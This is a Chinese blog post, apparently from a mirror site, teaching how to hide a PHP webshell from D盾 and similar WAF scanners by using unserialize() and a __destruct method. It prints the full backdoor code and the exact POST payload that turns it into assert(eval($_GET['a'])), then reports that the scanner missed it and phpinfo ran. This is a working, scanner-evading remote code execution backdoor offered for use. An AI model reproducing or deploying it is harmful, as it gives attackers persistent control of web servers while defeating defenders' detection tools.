美文网首页
利用PHP反序列化免杀D盾等WAF软件

利用PHP反序列化免杀D盾等WAF软件

作者: WAF | 来源:发表于2019-08-29 00:29 被阅读0次

这次这篇文章想法主要是在de1ctf一题shellshellshell过反序列化漏洞制造SSRF登录,然后如果用反序列化来逃脱waf检查应该比较简单。

先简单讲下什么是php反序列化:

序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等  函数 : serialize()

反序列化:恢复原先被序列化的变量 函数: unserialize()

一个简单demo序列化:

class   dog{

    public $a = 'age is one';

    }

输出的序列化:O:3:"dog":1:{s:1:"a";s:10:"age is one";}

O代表结构类型为:类,3表示类名长度,接着是类名、属性(成员)个数

大括号内分别是:属性名类型、长度、名称;值类型、长度、值

反序列化就是把序列化输出结果还原就是反序列化,这样我们就可以构造一个payload进行调用从而绕过D盾安全狗什么。

常用的魔法函数

我就直接贴smile师傅里的东西了,就难得写了

__construct()当一个对象创建时被调用,但在unserialize()时是不会自动调用的。

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后

现在我们来理解这个代码

<?php

classA{

    public $name;

    public $muma;

    function  __destruct(){

        $a = $this->name;

        $a($this->muma);

    }

}

unserialize($_POST['waf']);?>

->用来引用一个类的属性(变量)、方法(函数)

其实可以理解为就是调用

POST传参传入:

waf=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"muma";s:16:"eval($_GET["a"])";}

get 传入参数:

a=phpinfo():

我们先把写好的代码放入www目录下,然后使用D盾扫描效果如下

并没有发现木马。

现在尝试能不能打开phpinfo,发现成功被打开。

而且D盾并没有报错,禁止访问那个文件是装的D盾配置文件,所以成功绕过D盾的查杀。

相关文章

  • 利用PHP反序列化免杀D盾等WAF软件

    这次这篇文章想法主要是在de1ctf一题shellshellshell过反序列化漏洞制造SSRF登录,然后如果用反...

  • Webshell免杀

    前言 最近在研究php免杀绕过安全狗、D盾等WAF防护软件。也算是小有成绩。故记录下来。 一句话木马 在渗透测试中...

  • 无限免杀D盾脚本之aspx ——yzddMr6

    前言 自己曾经写过一篇文章:利用随机异或无限免杀某盾 php的webshell免杀方法有很多,但是市面上很少有讲a...

  • 安全实战:webshell的几种免杀方式

    php的免杀 传统的php免杀不用多说了 无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如...

  • 利用随机异或无限免杀d盾 ——yzddMr6

    前言 最近D盾更新了,在某司某圈也看到了不少免杀d盾免杀狗的一句话帖子但是基本上只要放出来不到两天时间就加入查杀全...

  • 序列化与JSON

    在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。 序列化和反序列化在PHP中...

  • waf的使用必看

    什么是waf? 如何打造一款可靠的WAF(Web应用防火墙)? WAF攻防实战 如何正确的使用阿里云盾网站安全防御...

  • 利用随机异或无限免杀d盾 2.0 ——yzddMr6

    随机异或脚本 2.0更新内容 其实上一篇文章写之前就已经有了心理准备 上次发的脚本自己用了几个月没事 发出来不到一...

  • 木马免杀之花指令的添加|黑客技术流

    随着杀毒软件与木马免杀之间的对抗升级,杀毒软件也越发成熟,一些传统的木马免杀方法面临着巨大的挑战,要想在杀毒软件与...

  • 浅谈meterpreter免杀

    前言 最近玩了玩免杀,学习了很多免杀的技巧,免杀基本就那么几个套路,静态文件特征码免杀,内存特征码免杀,行为免杀,...

网友评论

      本文标题:利用PHP反序列化免杀D盾等WAF软件

      本文链接:https://www.haomeiwen.com/subject/oxmvectx.html